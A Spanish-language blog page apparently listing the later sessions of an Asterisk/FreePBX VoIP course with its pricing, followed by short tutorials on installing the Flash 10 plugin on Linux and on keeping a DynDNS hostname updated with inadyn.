Instalación de aplicación para revisión de llamadas grabadas.
Implementación de Monitoreo y susurro de llamadas.
Grabación de Mensajes para IVR y otros servicios del conmutador de Voz Sobre IP.
Configuración de grupos de toma de llamadas.
Transferencia y Toma de Llamadas
Evaluación de la Sesión
Retroalimentación
SESION 3
Práctica
AudioConferencia en Asterisk PBX.
VideoConferencia en Asterisk PBX
Configuración de Acceso Remoto para Marcación Directa ( DISA ).
Programación de AGI para implementación de DISA personalizado.
Configuración de Ruteo de Llamadas por Horarios de Marcación.
Configuración de Aplicaciones Interactivas de Voz ( IVR ).
Configuración de dispositivo USB e integración con FreePBX para envío de SMS desde aplicación web.
Configuración de Colas de Llamadas.
Revisión de Códigos de Marcación de Asterisk.
Revisión del Panel de Marcación de FreePBX.
Modificación de base de datos de CDR de Asterisk PBX.
Configuración y programación de CDR.
Modificación del sistema de reportes CDR de FreePBX.
Uso de la consola para depuración de eventos de Asterisk
Conociendo las opciones de la consola de Asterisk
Recarga de funciones de Asterisk
Monitoreando canales en Asterisk
Conociendo el log de Asterisk
Detección de problemas y fallos en Asterisk.
Instalación de IAXModem & Hylafax como Fax Virtual
Instalación y Configuración de AvantFax como Administrador Web de Faxes.
Configuración de Hylafax para envío de Fax desde Aplicaciones Windows.
Evaluación de la Sesión
Retroalimentación
SESION 4
Práctica
Instalación del FrameWork de PHP AGI
Que es un AGI
Qué es AMI
Instalación de Festival y parlante en español
Programación AGI(Asterisk Gateway Interface) demo de interfaz entre Asterisk y Aplicación LAMP
Ejecución de Aplicaciones desde llamadas telefónicas con Asterisk
Desarrollo de aplicaciones VoIP haciendo uso de AMI(Asterisk Manager Interface)
Programación de AMI para monitoreo de llamadas
Programación de AMI para interfaz con sistema de tarificación de llamadas
Integración de aplicación Click to Call.
Configuración de WebPhone
Integración de sistema de detección de movimiento con Asterisk.
Configuración de Marcaciones Internas para Accesos a Diversas Aplicaciones VoIP desarrolladas.
Integración de AsterCRM con Conmutador de Voz sobre IP.
Tarificador de llamadas
Implementación de un Conmutador de Voz sobre IP para un escenario real.
Evaluación de la Sesión
Retroalimentación
Material Entregable:
Disco con todos los paquetes a usar en el curso de implementación del conmutador de Voz sobre IP.
Distribución de Linux Server & Linux Desktop.
Libro Electrónico El Futuro de la Telefonía.
Documentación sobre el proceso de instalación de Asterisk VoIP.
Presentación del curso de Voz sobre IP.
Cuenta VoIP con 10 Dlls de Crédito & DID para prueba de llamadas vía VoIP.
Teléfono VoIP Aastra 6730i, ATA SPA3102 o Tarjeta X100P 1 Puerto FXO.
Lugar:
Por definir por parte de los asistentes
Fecha y Horarios del curso:
Fecha y Horario: Por definir por parte de los asistentes
Límite de Asistentes:
Por definir
Adicionales:
Cualquier duda posterior a la fecha del curso podrá atenderse vía correo electrónico o messenger para atender dudas que hayan salido con respecto algunos de los temas, instalación o configuración de los temas vistos en el curso.
Inversión:
Cotizar el costo mediante el sistema de cotizaciones, por favor regístrese en nuestro sistema y seleccione Curso Especializado de Asterisk PBX para que le llegue a su correo información de curso y costo.
50 % Antes del curso y el resto previo al inicio del curso.
Descuentos:
A partir de 3 Personas Inscritas hay un descuento del 10% sobre el costo original.
Instalando Red5 como base para instalar un sistema de videoconferencia web, en el tutorial de instalación veo que recomiendan usar Flash 10 en Linux ó MacOS esto para mejor rendimiento del CPU sobre aplicaciones Flash, esto ya que comúnmente al abrir una página de youtube por ejemplo el consumo de CPU se disparaba al monitorearlo en la consola de Linux, por lo que decidí actualizar la versión de flash al pre-release del plugin de Flash 10.
Lo primero que hay que hacer es obtener el prerelease de Flash 10 de la siguiente url: http://www.adobe.com/go/getflashplayer
mkdir ~/software/ cd ~/software/software wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz cd/usr/src sudotar-xzvf ~/software/install_flash_player_10_linux.tar.gz cd install_flash_player_10_linux whereis firefox
firefox: /usr/bin/firefox /etc/firefox /usr/lib/firefox /usr/share/firefox /usr/share/man/man1/firefox.1.gz #El directorio de firefox es /usr/lib/frefox #cerrar firefox ó el navegador que se usa #ejecutar el instalador de flash 10 sh ./install_flash_player #Y aceptar la instalación y la licencia #luego introducir el directorio de firefox ó el navegador que se usa #aceptar nuevamente la instalación y listo #reiniciar firefox abrir algunapágina con flash y ya debería verse en propiedades de flash que se usa la versión 10.
DynDNS es un servicio que permite ligar IP Homologadas a un nombre de dominio, de tal forma que es posible ligar una IP Dinámica aun dominio, el detalle es que cuándo la IP Dinámica cambia hay que modificar el registro de DynDNS con la nueva IP.
Los router Linksys y DD-WRT ya traen un cliente DynDNS integrado, pero muchas veces cuándo se tiene como router un 2Wire, estos no tienen esta funcionalidad, por lo que hay que hacer uso de algún script, en este caso haremos uso de inadyn.
¿ Porqué inadyn ?
Existen clientes como ddclient ó ipcheck, pero estos deben estar instalados sobre el equipo que tiene la IP Homologada, en este caso el script se ejecutará en una máquina que está dentro de una red local y solo tienen configurada una IP Privada. Inadyn permite actualizar DynDNS desde cualquier equipo aunque esté en la red privada, ya que inadyn obtiene la ip pública del router consultando checkip.dyndns.org y de ahí realiza la actualización.
En debian ó Ubuntu dolo basta obtener inadyn de la siguiente manera:
sudoapt-getinstall inadyn
Despues editar un archivo en /etc/default.conf
Ahí poner los parámetros siguientes:
update_period_sec 600# Verifica la IP cada 600 segundos
username usuariodyndns #Usuario de dyndns
password passworddyndns #password de dyndns
dyndns_system dyndns@dyndns.org alias miservidor.dyndns.org #dominio configurado en dyndns alias otroservidor.dyndns.org #dominio configurado en dyndns
Y luego solo ejecutar
inadyn
Solo bastaría configurar para que inadyn se ejecute al iniciar el servidor para que quede en background trabajando.
¿ Para que sirve todo esto ?
Para poder poner en internet diversos servicios como puede ser un servidor de faxes, un servidor de mensajería instantanea, un servidor web, un sistema de impresión, un servidor de base de datos, alguna herramienta de sincronización, un servidor VPN, un sistema de telefonía IP ó envío de mensajes sms, entre otras cosas.
Comentarios Recientes